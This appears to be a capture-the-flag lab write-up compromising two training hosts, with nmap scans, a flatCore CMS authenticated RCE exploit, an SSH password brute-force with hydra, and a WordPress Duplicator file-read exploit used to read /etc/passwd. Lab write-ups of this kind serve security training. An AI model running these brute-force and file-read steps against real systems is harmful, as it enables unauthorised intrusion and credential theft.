Penetration Testing Exploitation CTF 1

Overview¶

This lab focuses on identifying and exploiting vulnerabilities across two target Linux machines. The goal is to analyze web applications and services running on these machines to uncover weaknesses and exploit them to retrieve critical flags. The tasks involve leveraging known credentials, insecure configurations, and vulnerable plugins to compromise systems and access sensitive data.

Target Machines¶

• target1.ine.local
• target2.ine.local

Flags to Capture¶

1. Flag 1: Exploit the vulnerable web application on target1.ine.local and retrieve the flag from the root directory.
2. Hint: Credentials admin:password1 may be useful.
3. Flag 2: Compromise an insecure system user on target1.ine.local.
4. Flag 3: Exploit a vulnerable plugin in the web application on target2.ine.local and retrieve flag3.txt from the root directory.
5. Flag 4: Compromise a system user on target2.ine.local that requires no authentication.

Useful Wordlists¶

• /usr/share/nmap/nselib/data/wp-plugins.lst
• /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Writeup¶

Flag 1: Exploiting the Web Application on target1.ine.local¶

Step 1: Initial Enumeration¶

We start with an Nmap scan to identify open ports and services:

nmap -p- target1.ine.local --min-rate=10000

A deeper scan reveals: - Apache 2.4.41 running on port 80. - flatCore CMS is being used. - robots.txt contains disallowed directories (/acp/, /core/, /lib/, /modules/).

Step 2: Identifying the CMS Version¶

By visiting http://target1.ine.local/styles/default/info.xml, we find:

<theme>
   <name>defaultTheme</name>
   <version>1.5</version>
   <license>GNU General Public License</license>
   <author>flatCore Dev Team</author>
</theme>

Step 3: Searching for Exploits¶

Using searchsploit, we find an authenticated RCE exploit:

searchsploit flatcore

Step 4: Exploiting the CMS¶

Using the provided credentials (admin:password1), we execute the exploit:

python3 exploit.py http://target1.ine.local admin password1

Flag 2: Compromising a Weak User on target1.ine.local¶

Step 1: Enumerating Users¶

From the shell, we check /etc/passwd:

cat /etc/passwd

Step 2: Bruteforcing SSH Credentials¶

Using hydra, we brute-force the password:

hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://target1.ine.local

Step 3: Retrieving Flag 2¶

Logging in via SSH:

ssh iamaweakuser@target1.ine.local

Flag 3: Exploiting a Vulnerable Plugin on target2.ine.local¶

Step 1: Initial Nmap Scan¶

nmap -p- target2.ine.local --min-rate=10000

A deeper scan reveals: - WordPress 6.1 running on port 80.

Step 2: Enumerating WordPress Plugins¶

Using Nmap’s WordPress enumeration script:

nmap -p80 target2.ine.local --script=http-wordpress-enum --script-args search-limit=all

Step 3: Exploiting Arbitrary File Read¶

Using an exploit for Duplicator 1.3.26:

python3 exploit.py http://target2.ine.local /flag3.txt

Flag 4: Compromising a No-Auth User on target2.ine.local¶

Step 1: Finding System Users¶

Using the same exploit, we read /etc/passwd:

python3 exploit.py http://target2.ine.local /etc/passwd

Step 2: Testing SSH Login¶

The user allows passwordless login (any password works):

ssh iamacrazyfreeuser@target2.ine.local